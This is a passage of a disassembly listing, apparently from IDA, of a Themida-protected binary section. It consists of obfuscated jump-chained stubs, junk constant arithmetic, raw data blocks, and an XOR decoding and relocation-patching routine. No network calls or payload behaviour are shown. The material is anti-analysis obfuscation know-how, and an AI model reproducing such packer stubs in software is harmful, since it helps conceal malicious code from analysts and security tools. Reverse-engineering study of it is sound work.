		dd 0DFC7BA52h, 0EF81F4FCh, 771529FDh, 0FF7595E9h, 42966FFh
		dd 40E99C24h, 8BFFFFBEh, 0EBE9242Ch, 87FFFFA2h,	248B243Ch
		dd 24040924h, 4042E99Ch, 34FFFFFFh, 0C6E95924h,	89FFFF83h
		dd 0E95356E0h, 0FFFFC366h
; ---------------------------------------------------------------------------

loc_551D64:				; CODE XREF: Themida_:00546456j
		pop	esp
		xchg	eax, [esp]
		push	dword ptr [esp]
		jmp	loc_548CF5
; ---------------------------------------------------------------------------
		dd 4DF54ABEh, 822EE998h, 7ABDFFFFh, 0E911C87Ah,	0FFFFBE34h
		dd 0E959CA29h, 0FFFF6D7Eh, 240C895Ch, 0FF4326E9h, 80B9B7FFh
		dd 0CF0042EFh, 5942C780h, 0CDE924B5h, 81000001h, 42404h
		dd 685F0000h, 0DFBh, 52243489h,	0E7216BAh, 2EEA8175h, 8911A85Eh
		dd 0DEF75AD6h, 4760C681h, 0D6F784D2h, 74B5C681h, 0C6813720h
		dd 0EA4BBEC8h, 5E95EF81h, 0F70115E7h, 5E95C781h, 815E15E7h
		dd 4C7h, 0CFD9E900h, 0E281FFFFh, 1FC11B1Ah, 0CA81D2F7h
		dd 67B26FDDh, 1025C281h, 0D3895825h, 1EEB815Ah,	0E9502510h
		dd 0FFFFE2F9h, 5502C583h, 42474FFh, 0E9242C8Bh,	0FFFF5113h
		dd 374E950h, 0C7830000h, 4EC8102h, 0E9000000h, 0FFFF885Bh
		dd 94A0E94Eh, 815EFFFFh, 2C1h, 0ABB4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551E4E:				; CODE XREF: Themida_:0054D926j
		pop	ecx
		jmp	loc_54783E
; ---------------------------------------------------------------------------
		dd 771C68h, 24148900h, 42474FFh, 24048F5Ah, 0FFC4F1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E69:				; CODE XREF: Themida_:00548D17j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		jmp	loc_54E1EB
; ---------------------------------------------------------------------------
		dd 0CB58E95Eh, 0EC83FFFFh, 240C8904h, 0E87534B9h, 0C5BF5764h
		dd 816E3D14h, 0E27EAEFh, 75C7812Dh, 4775CD5Dh, 0FF932CE9h
		dd 405FFh, 4050000h, 87000000h,	685C2404h, 50B4h, 0E9242C89h
		dd 0FFFFFEBAh, 371631BEh, 2ABD5572h, 0E970CE32h, 0FFFFF01Ch
		dd 411C402Dh, 2C8B50E3h, 4C48124h, 0E9000000h, 0FFFF5306h
		dd 8324048Bh, 0E7C104C4h, 91BA5208h, 0C17EA74Ah, 0D2F708E2h
		dd 11A9F281h, 0EA8105CCh, 0F56B39FDh, 0BCE9D729h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F0B:				; CODE XREF: Themida_:0054E960j
		mov	esi, 3E0173B7h
		dec	esi
		push	ecx
		jmp	loc_54C418
; ---------------------------------------------------------------------------
		db 66h
		dd 80E30058h, 506673EBh, 4E99FB4h, 81FFFFBDh, 4C2h, 0C86BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F32:				; CODE XREF: Themida_:0054AA1Aj
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 1E8E02E2h
		add	eax, 2E92894h
		jmp	loc_546835
; ---------------------------------------------------------------------------

loc_551F5B:				; CODE XREF: Themida_:0055136Bj
		dec	esi
		not	esi
		sub	esi, 83DBA14Ah
		sub	eax, esi
		pop	esi
		pop	edi
		jmp	loc_548A9E
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 0FFFF7BD3h, 0E95BFD00h, 0FFFFCAC0h, 4BAh, 0E9D00100h
		dd 0FFFF72FBh, 68243C89h, 1BA24C9Eh, 6E7C15Fh, 277FEF81h
		dd 0FD89E893h, 0FFC4A5E9h, 0BEE958FFh, 68FFFF9Fh, 5D45h
		dd 0E9242489h, 0FFFF5C2Bh, 5C243487h, 8B24048Fh, 0EC832404h
		dd 24348904h, 0C681E689h, 4, 0E904C683h, 0FFFF9FBCh, 57FDBB53h
		dd 0D8017DF5h, 83241C8Bh, 505B04C4h, 0A92C85B8h, 4E8C114h
		dd 0DCBB5348h, 9312874h, 91E95BD8h, 8BFFFFE5h, 0F1F72424h
		dd 376C68h, 24148900h, 0FFE11EE9h, 24048FFFh, 4EC835Ch
		dd 0B8240489h, 2, 62A9C181h, 0C10167F9h, 62A9E981h, 875867F9h
		dd 0E95C240Ch, 0FFFFD8C7h, 6824048Bh, 4A8h, 89242C89h
		dd 49E952E5h, 56FFFFDEh, 0FF7462E9h, 1FE981FFh,	159A10Bh
		dd 3FB2E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55205A:				; CODE XREF: Themida_:0055083Ej
		add	eax, edx
		pop	edx
		jmp	loc_550D5F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 5EFF77A6h, 0FF71ADE9h, 685B54FFh, 5D19h, 68242C89h
		dd 69EAh, 0FF5036E9h, 0ABF680FFh, 0FFE3E6E9h, 8CE9ADFFh
		dd 80FFFF99h, 67E9DDC6h, 68FFFFEEh, 4365h, 8904EC83h, 4832424h
		dd 48F0424h, 4EC8324h, 0BD242C89h, 4, 4246C01h,	0C181595Dh
		dd 4, 0FF7CC1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5520C5:				; CODE XREF: Themida_:005493F8j
		neg	esi
		jmp	loc_548FD2
; ---------------------------------------------------------------------------
		dd 57F5BF57h, 0C7812D09h, 0D2F6A80Fh, 875FFD01h, 665C242Ch
		dd 5AE9008Fh, 56FFFFC3h, 0FF59C8E9h, 0F8015DFFh, 41AE685Fh
		dd 0C890000h, 9D685524h, 8B030662h, 0C481242Ch,	4, 5FCB850h
		dd 0E8C12831h, 6BB9E904h, 1431FFFFh, 24143324h,	68241431h
		dd 7591h, 87241489h, 0D5F7242Ch, 5A242C87h, 606368h, 24148900h
		dd 42474FFh, 0E924148Bh, 0FFFFAD85h, 24048F5Fh,	2BB535Ch
		dd 6808DC43h, 0
		dd 0D4242C81h, 297FA603h, 0DCE9241Ch, 83FFFF63h, 45E904C7h
		dd 52FFFFC4h, 42474FFh,	8324148Bh, 48F04C4h, 89535C24h
		dd 1ABD55E3h, 87094D1Fh, 0D58742D5h, 0FFB08AE9h, 89515DFFh
		dd 4C181E1h, 81000000h,	4E9h, 5C01E900h, 2B8FFFFh, 29000000h
		dd 0E95258C2h, 0FFFF454Dh, 4CB8C581h, 0E5811D0Ah, 7DBF5FE4h
		dd 0BE56h, 0EE290000h, 0C15EF587h, 0ED8108E5h, 51AE65D3h
		dd 0D3E9EE29h, 21FFFFD3h, 92355DE8h, 516A752Bh,	652996B9h
		dd 59C8313Eh, 34E9h, 20E58100h,	0C10CFE6Dh, 0C58107EDh
		dd 26772627h, 36CAB850h, 0C5211B67h, 33E94558h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55220B:				; CODE XREF: Themida_:00550181j
		mov	esi, 342B641Eh
		add	esi, 0D46204EEh
		jmp	loc_54F270
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF844AE9h, 58C601FFh, 0E904C683h, 0FFFF4DCCh
; ---------------------------------------------------------------------------

loc_55222C:				; CODE XREF: Themida_:0054F11Aj
		push	edi
		mov	edi, 32BA369Fh
		add	edx, edi
		pop	edi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5512E6
; ---------------------------------------------------------------------------

loc_552246:				; CODE XREF: Themida_:0054E7BCj
		pop	esi
		pop	edx
		add	[edi+24h], ebp
		pop	ebp

loc_55224C:				; CODE XREF: Themida_:0054F047j
		push	ebx
		jmp	loc_546628
; ---------------------------------------------------------------------------
		dw 2409h
		dd 0DF736234h, 304FA0Eh, 69DD7FFEh, 0A0h, 552B0000h, 304005Ah
		dd 2077FFEh, 20000h, 10000h, 30000h, 0DF730000h, 0FA0Eh
		dd 4 dup(0)
		dd 0FF960000h, 3DE90055h, 62950055h, 9C810055h,	0CD8F0055h
		dd 0EAAF0055h, 7B3A0055h, 1BCF0056h, 8A20056h, 1B60056h
		dd 826B0056h, 0A3350055h, 45ED0055h, 434B0055h,	0AC780055h
		dd 0CABA0055h, 0C8EF0055h, 0CC660055h, 0B8240055h, 95450055h
		dd 0D7220055h, 0E0340055h, 0F3330055h, 0DAD70055h, 0D1650055h
		dd 0A6AE0055h, 79C20055h, 2D0F0055h, 923A0055h,	0CB3A0055h
		dd 68AC0055h, 3EE70055h, 63AA0055h, 5BCC0055h, 66E30056h
		dd 680A0056h, 0B0AB0056h, 348A0055h, 5C000056h,	7AF80056h
		dd 0EFB70055h, 0DD790055h, 0BD200055h, 1B340055h, 16200056h
		dd 63170056h, 2AFA0055h, 0FFC10056h, 0A62A0055h, 0DBAD0055h
		dd 42220055h, 0AFE60055h, 7BE10055h, 62B80056h,	77AC0056h
		dd 0BC3F0055h, 4DD20055h, 94D00055h, 8C9E0055h,	93B70055h
		dd 0BCDB0055h, 0FF3B0055h, 69800055h, 0AD70056h, 14C40056h
		dd 0C0430056h, 0AADB0055h, 655C0055h, 42A70056h, 343D0055h
		dd 0E0C40056h, 0EFA80055h, 385F0055h, 57DE0056h, 0A8B90055h
		dd 44850055h, 0A0E90055h, 4D5A0055h, 312E0055h,	54FF0056h
		dd 52B40055h, 52290056h, 31640056h, 1E820056h, 0EEFE0056h
		dd 4EAE0055h, 0E67F0055h, 5FA70055h, 5F910056h,	4EEA0055h
		dd 0FAAB0055h, 0D0D50055h, 0E9970055h, 77E00055h, 0C020055h
		dd 59820056h, 11B50055h, 48D70056h, 43280056h, 42830055h
		dd 0CA980056h, 7C760055h, 82500055h, 653F0055h,	0F2C20056h
		dd 0BB290055h, 25F0055h, 2D180056h, 63F80055h, 88080055h
		dd 0BD080055h, 0D1560055h, 0CFD90055h, 4D600055h, 0D6C60056h
		dd 53400055h, 0D8190055h, 34F60055h, 0E53E0056h, 2B350055h
		dd 37110055h, 0DD350055h, 5260055h, 241A0056h, 0A8440056h
		dd 75960055h, 0B10D0056h, 74660055h, 0B1F60055h, 0BE6A0055h
		dd 0A3B10055h, 0A33D0055h, 6E340055h, 62460056h, 0B7D60055h
		dd 60660055h, 60330056h, 6FCE0055h, 0FD000056h,	31490055h
		dd 0AD570056h, 6B0F0055h, 44D10056h, 214F0055h,	730A0056h
		dd 0E8590055h, 90DF0055h, 2C1E0055h, 4E610055h,	9B6B0056h
		dd 4ADB0055h, 69820056h, 56380055h, 3BCB0056h, 59630056h
		dd 55220056h, 10840056h, 75A60056h, 5FB70055h, 0E36E0055h
		dd 988C0055h, 2DC40055h, 5C750056h, 6B5D0055h, 7E480056h
		dd 7D990055h, 0CCDC0055h
		db 55h,	0
; ---------------------------------------------------------------------------

loc_552532:				; CODE XREF: Themida_:00593C50j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 64645C7h
		mov	eax, edi
		add	edi, 64642DFh
		cmp	eax, [edi+2Ch]
		jnz	short loc_552550
		jmp	short loc_552563
; ---------------------------------------------------------------------------

loc_552550:				; CODE XREF: Themida_:0055254Cj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55255F
; ---------------------------------------------------------------------------

loc_55255A:				; CODE XREF: Themida_:00552561j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_55255F:				; CODE XREF: Themida_:00552558j
		or	ecx, ecx
		jnz	short loc_55255A

loc_552563:				; CODE XREF: Themida_:0055254Ej
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_552570:				; CODE XREF: Themida_:00552577j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_552570

loc_552579:				; CODE XREF: Themida_:0055271Aj
					; Themida_:loc_55272Aj	...
		lodsb
		xor	al, bl
		push	cx
		push	eax
		mov	al, 54h
		jmp	loc_562B0C
; ---------------------------------------------------------------------------

loc_552586:				; CODE XREF: Themida_:00567240j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 61997B8Ch
		and	ebx, 586151EEh
		push	edx
		mov	edx, 5A0036ADh
		xor	ebx, edx
		pop	edx
		jmp	loc_567B95
; ---------------------------------------------------------------------------

loc_5525AB:				; CODE XREF: Themida_:00561AD8j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_563102
; ---------------------------------------------------------------------------

loc_5525C1:				; CODE XREF: Themida_:0055D364j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0C9h
		push	39Eh
		jmp	loc_556590
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0E95DEE01h, 0D0A8h, 1ABBE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5525EA:				; CODE XREF: Themida_:0055E7EDj
		mov	[esp], eax
		jmp	loc_561793
; ---------------------------------------------------------------------------

loc_5525F2:				; CODE XREF: Themida_:00562888j
		pop	edi
		push	eax
		mov	eax, 0E113615h
		sub	eax, 6AE34DF0h
		and	eax, 21856CE2h
		add	eax, 3ACF0491h
		jmp	loc_55FF04
; ---------------------------------------------------------------------------
		db 59h,	5Bh, 81h
		dd 4C3h, 8B85000h, 5505E0Ch, 0FEF8635Dh, 0C6C3E9h, 0C1EA8100h
		dd 5F61A61Ch, 15AD389h,	241C8BD8h, 7C4B68h, 243C8900h
		dd 0BB53E789h, 4, 3B95EF81h, 8BE9579Ah,	8F000002h, 665C2404h
		dd 66C8BE0Fh, 663A4C68h, 0E9240C89h, 0FFFFFF15h, 0BC1350BFh
		dd 40C7812Eh, 0E956C047h, 10E8Fh, 0E9240C89h, 7D99h
; ---------------------------------------------------------------------------

loc_55267C:				; CODE XREF: Themida_:005539DFj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55A9CF
; ---------------------------------------------------------------------------

loc_55268D:				; CODE XREF: Themida_:0055D8EFj
		push	ecx
		push	ebp
		push	1AFD28D4h
		pop	ebp
		shl	ebp, 1
		shl	ebp, 1
		jmp	loc_55320F
; ---------------------------------------------------------------------------

loc_55269E:				; CODE XREF: Themida_:0055C20Dj
		mov	esi, 33FF4376h
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 5D9C4017h
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		jmp	loc_55FE66
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0FF000000h, 81592434h, 4C4h,	0BF41E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5526CA:				; CODE XREF: Themida_:0055D3ABj
		neg	edi
		shr	edi, 5
		xor	edi, 13E05B87h
		or	edi, 7CCC52BEh
		shl	edi, 5
		xor	edi, 0BBEAFFE4h
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	ebx, 5B383D70h
		add	ebx, edi
		add	ebx, 5B383D70h
		push	edx
		mov	edx, 7AF3671Bh
		sub	ebx, edx
		pop	edx
		jmp	loc_556893
; ---------------------------------------------------------------------------

loc_552712:				; CODE XREF: Themida_:0056729Cj
		add	ebx, 25B7380Eh
		pop	dword ptr [eax]
		jmp	loc_552579
; ---------------------------------------------------------------------------
aUMSjg		db 'U½ŒÎÝÏéjg',0
		align 2

loc_55272A:				; CODE XREF: Themida_:0055935Cj
		jmp	loc_552579
; ---------------------------------------------------------------------------
		db 0B4h
		dd 58E7882Bh, 0E9BFF780h, 0A7F5h, 0EA81CA01h, 6E08673Dh
		dd 3047E9h, 24048700h, 8924248Bh, 4BE2434h, 1000000h, 0BA525EF1h
		dd 4, 795DE9h, 0E9E78900h, 0EDAh, 68242C89h, 1,	5D2434FFh
		dd 8C35E9h, 0FDF7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552782:				; CODE XREF: Themida_:0056391Bj
		push	edx
		push	ebp
		mov	ebp, 50207945h
		jmp	loc_553C16
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 6AA30D01h, 1E56C381h, 0FB292EF0h, 149DBF57h,	0D147113Bh
		dd 0E7C147EFh, 0AAEF8104h, 295AE886h, 315E9FBh,	44810001h
		dd 29D30424h, 5C29155Dh, 6C810424h, 29D30424h, 5A5B155Dh
		dd 42C0C281h, 815D74A0h, 0A5BF82C2h, 0E9D6018Bh, 10BB9h
		dd 0BAF58159h, 0E9411650h, 8EB9h
; ---------------------------------------------------------------------------

loc_5527EC:				; CODE XREF: Themida_:0055DB85j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 49B7015Ch
		jmp	loc_555E19
; ---------------------------------------------------------------------------

loc_5527FE:				; CODE XREF: Themida_:00561BE4j
		mov	esp, [esp]
		mov	[esp], ecx
		push	0FFFFFFFFh
		mov	ecx, [esp]
		add	esp, 4
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55934F
; ---------------------------------------------------------------------------
		dd 4A45E957h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552836:				; CODE XREF: Themida_:0055DA05j
		add	edi, ecx
		push	ecx
		mov	ecx, 1FDC30FBh
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_55FC03
; ---------------------------------------------------------------------------

loc_552848:				; CODE XREF: Themida_:0056454Fj
		push	edi
		mov	edi, 4792069Dh
		push	ebp
		jmp	loc_555867
; ---------------------------------------------------------------------------

loc_552854:				; CODE XREF: Themida_:0056319Fj
		pop	ebp
		pop	ebx
		dec	ebp
		inc	ebp
		add	ebp, 51091E0Ch
		or	ebp, 1A063E8h
		xor	ebp, 4BF54241h
		jmp	loc_559D3D
; ---------------------------------------------------------------------------

loc_55286F:				; CODE XREF: Themida_:0055DF98j
		sub	eax, 2C93343Bh
		push	edx
		push	eax
		mov	eax, 913409Ch
		not	eax
		dec	eax
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		and	eax, 5F8E3093h
		sub	eax, 9873EC1Ah
		push	ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		pop	eax
		push	edi
		jmp	loc_565FFA
; ---------------------------------------------------------------------------
		db 29h
		dd 0D3015FFAh, 5BDDE95Ah, 0EC830000h, 410EE904h, 0D6F70000h
		dd 0E908EEC1h, 4FC5h, 5AD52958h, 0E949E987h, 2D88h, 2434FF58h
		dd 0E0895059h, 405h, 0C062E900h, 0DF010000h, 9FCBA52h
		dd 0F2813F88h, 57DE1941h, 8103EAC1h, 8F797EC2h,	5AD7014Ah
		dd 5B2434FFh, 8104C483h, 4C7h, 243C8700h, 7373055Ch, 0BB530826h
		dd 515026D5h, 0E602D52Dh, 4538054Dh, 0D8013310h, 1045382Dh
		dd 8444E933h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552926:				; CODE XREF: Themida_:005539FCj
		push	edi
		push	78F62C45h
		pop	edi
		or	edi, 25EB2C1Dh
		xor	edi, 60E27B87h
		add	edi, 580BCBE6h
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 0E986D44h
		sub	edi, 2EFD040Fh
		sub	edi, 0D4F0431Ah
		jmp	loc_558F4E
; ---------------------------------------------------------------------------
		db 80h,	0CAh, 48h
		dd 0C2FED2F6h, 8816F280h, 3FB15AD3h, 8089E980h,	0D92867C1h
		dd 11C4EE9h, 0E5C14D00h, 618AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55297E:				; CODE XREF: Themida_:005627F8j
		push	61DDh
		mov	[esp], ecx
		push	ebx
		pop	ecx
		pop	ebx
		push	7C14h
		mov	[esp], eax
		push	eax
		jmp	loc_561498
; ---------------------------------------------------------------------------
		db 83h
		dd 46E901EAh, 570000E8h, 0BD397868h, 0C68FE942h, 2C870000h
		dd 24248B24h, 4C481h, 0EB810000h, 204669D9h, 0C381FB01h
		dd 204669D9h, 8B038F50h, 98E9241Ch
		db 2Bh,	1, 0
; ---------------------------------------------------------------------------

loc_5529CF:				; CODE XREF: Themida_:00560396j
		mov	ecx, [esp]
		jmp	loc_55E866
; ---------------------------------------------------------------------------

loc_5529D7:				; CODE XREF: Themida_:0055C9DAj
		xchg	ebx, edi
		push	ebp
		mov	ebp, 30B36A5Ch
		xor	ebp, 2B276C7Ah
		jmp	loc_563F15
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 6749F281h, 0C281266Dh, 6F343A63h, 15AD601h, 0F52BE9F1h
		dd 48B0000h, 4C48124h, 5000000h, 24C5D296h, 0B4D0E9h, 0EC815100h
		dd 4, 67E3E9h, 463BBB00h, 81536B67h, 5B16242Ch,	815A5D1Ch
		dd 1C5B16C2h, 0D6315B5Dh, 5A2434FFh, 4C481h, 0B9510000h
		dd 11A2078Eh, 0DE9D9F7h, 0FF000146h, 835B2434h,	0C3304C4h
		dd 240C3124h, 8B240C33h, 2CD32424h, 0EE99C24h, 0C1FFFFFBh
		dd 0EB8106EBh, 3A23B38h, 0E91C5F09h, 0BC6Bh, 83242C8Bh
		dd 22E904C4h, 810000A8h, 0C0564FEBh, 81DBF733h,	324E10EBh
		dd 8BDE0103h, 0C481241Ch, 4, 4C681h, 0D7E90000h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552AAB:				; CODE XREF: Themida_:0055B2BCj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 486D250Bh
		add	edx, 31010812h
		dec	edx
		shr	edx, 2
		jmp	loc_560824
; ---------------------------------------------------------------------------
		db 0B7h, 44h, 0E9h
		dd 86FBh, 958C189h, 0E28159CAh,	72456561h, 737CEA81h, 0EA815705h
		dd 1B3FF1E0h, 0E95AD501h, 18AFh, 0E950E289h, 6A7h, 48EAFA05h
		dd 0E9C221FEh, 55ACh, 31242C33h, 2C33242Ch, 89665C24h
		dd 66E92404h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552B13:				; CODE XREF: Themida_:00560134j
		push	5E536F04h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 32D80556h
		and	edi, eax
		pop	eax
		push	esi
		mov	esi, 5960865h
		jmp	loc_55759C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFFA3CE9h, 8BCF01FFh, 8952240Ch, 0ACE951E2h
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552B4B:				; CODE XREF: Themida_:0055CD4Aj
		xor	esi, ebp
		pop	ebp
		add	[esp+8], esi
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], ecx
		jmp	loc_564BCC
; ---------------------------------------------------------------------------
		dd 8102E3C1h, 0F52FE2EBh, 0BA5256B7h, 244A2C29h, 0C106EAC1h
		dd 0E94207E2h, 13116h, 0C181E189h, 4, 4C181h, 11E90000h
		dd 57000137h, 11C96FBFh, 5FFB298Ah, 0BCC0E9h
		db 0
; ---------------------------------------------------------------------------

loc_552BA1:				; CODE XREF: Themida_:0055F1BFj
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0F2h
		push	ebx
		mov	bh, cl
		mov	dh, bh
		pop	ebx
		pop	ecx
		sub	al, 0Ch
		sub	al, dh
		add	al, 0Ch
		push	dword ptr [esp]
		jmp	loc_55E701
; ---------------------------------------------------------------------------
		db 0BEh, 4, 56h
		dd 0F1315BD4h, 64B2E95Eh, 0E9520000h, 11151h, 54241489h
		dd 5124148Bh, 0CDEFE9h,	58E28800h, 0E902E2C0h, 10E31h
		dd 0E959CA01h, 298Ch
; ---------------------------------------------------------------------------

loc_552BF8:				; CODE XREF: Themida_:0055F8D9j
		mov	ebp, 4AD4121Ah
		not	ebp
		shr	ebp, 4
		push	edi
		mov	edi, 4F787C51h
		or	ebp, edi
		pop	edi
		shl	ebp, 8
		sub	ebp, 7AFEDEFCh
		add	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_55FB89
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E924048Bh, 0CC8Ah, 815AD329h, 0BB1FE5EBh
		dd 0E9DE0126h, 0E9F4h
; ---------------------------------------------------------------------------

loc_552C3C:				; CODE XREF: Themida_:005554FAj
		pop	edi
		and	ebx, 1BBB532Ah
		add	ebx, 1EAE5EAEh
		or	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_553D8D
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 84FBh, 4240483h, 6413E959h, 0F6810000h, 1E1F765Dh, 0A5F6814Eh
		dd 29F3D8A1h, 1E3AE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552C7A:				; CODE XREF: Themida_:0055C2EDj
		mov	[esp], edx
		mov	edx, 4E4D478Fh
		shr	edx, 1
		xor	edx, 5CEB1070h
		add	edx, 84324C4Bh
		jmp	loc_563784
; ---------------------------------------------------------------------------

loc_552C95:				; CODE XREF: Themida_:00557649j
		xchg	ebp, edi
		xchg	edi, [esp]
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_560671
; ---------------------------------------------------------------------------

loc_552CA8:				; CODE XREF: Themida_:005576E0j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	2BB7h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_566E06
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 14F3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552CCA:				; CODE XREF: Themida_:00564B54j
		mov	[esp], eax
		mov	eax, 635E3FC4h
		not	eax
		jmp	loc_567245
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 4C781h, 3C870000h, 0B6525C24h, 78E0E9BEh,	0F3810000h
		dd 596B0965h, 0DFF5E9h,	0F3015900h, 8324348Bh, 2C8B04C4h
		dd 19E95524h, 660000B7h, 0E924048Bh, 5E52h, 24048B66h
		dd 0FBE6851h, 8E90000h,	5C00009Ah, 1190EE9h
		db 0
; ---------------------------------------------------------------------------

loc_552D2D:				; CODE XREF: Themida_:0055D381j
		mov	ebp, 6E7B45E4h
		jmp	loc_55D79B
; ---------------------------------------------------------------------------

loc_552D37:				; CODE XREF: Themida_:00564048j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55F099
; ---------------------------------------------------------------------------
		dd 0C14E4E5Dh, 565005EEh, 5A89E9h, 4C68300h, 5C243487h
		dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h
		dd 0BD242C89h, 3D5A6F99h, 906BC581h, 0C181C2A5h, 22394B88h
		dd 0BB53E901h, 65D23F09h, 517F381h, 0E3D12849h,	0E906EBC1h
		dd 10B8Ch, 0E904C483h, 62AAh, 0B7208C68h, 1896E932h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552DAE:				; CODE XREF: Themida_:0056629Fj
		add	edx, 0D9D70E7h
		shl	edx, 8
		jmp	loc_55FE8A
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 0E906EEC0h, 10A85h
; ---------------------------------------------------------------------------

loc_552DC8:				; CODE XREF: Themida_:00562B87j
		mov	edx, esp
		jmp	loc_5634D4
; ---------------------------------------------------------------------------
		db 0B1h
		dd 80D9F6BEh, 0D1F624C1h, 0C180D1F6h, 0E9CA8874h, 0C303h
; ---------------------------------------------------------------------------

loc_552DE4:				; CODE XREF: Themida_:0055C713j
		push	edi
		mov	edi, 53617C83h
		shl	edi, 4
		and	edi, 3FE3B1Fh
		add	edi, 1779224Bh
		not	edi
		inc	edi
		sub	edi, 0E670D5A1h
		jmp	loc_55F0FF
; ---------------------------------------------------------------------------

loc_552E07:				; CODE XREF: Themida_:005595BAj
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55BCB7
; ---------------------------------------------------------------------------
		db 83h
		dd 79E904EEh, 81000062h, 4C4h, 8EAAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552E26:				; CODE XREF: Themida_:0055E29Dj
		shr	edx, 4
		neg	edx
		xor	edx, 0E3AFBF06h
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55BF36
; ---------------------------------------------------------------------------

loc_552E3F:				; CODE XREF: Themida_:0056677Dj
		push	4D55h
		jmp	loc_55A5E4
; ---------------------------------------------------------------------------

loc_552E49:				; CODE XREF: Themida_:00553579j
		inc	ebx
		jmp	loc_562B51
; ---------------------------------------------------------------------------
		db 0B5h
		dd 805AB7ECh, 0EF28A4C7h, 59A4EF80h, 51E96866h,	24148966h
		dd 550068h, 0BFECE900h,	34330000h, 24343124h, 0AB08E9h
		db 0
; ---------------------------------------------------------------------------

loc_552E79:				; CODE XREF: Themida_:0055C5C3j
		push	edx
		jmp	loc_55A7BB
; ---------------------------------------------------------------------------
		db 29h
		dd 0D10158C1h, 0A09C181h, 148B52E6h, 4C48124h, 0E9000000h
		dd 0CB16h
; ---------------------------------------------------------------------------

loc_552E98:				; CODE XREF: Themida_:005588A3j
		pop	ebx
		mov	esi, ecx
		pop	ecx
		jmp	loc_55A8FD
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
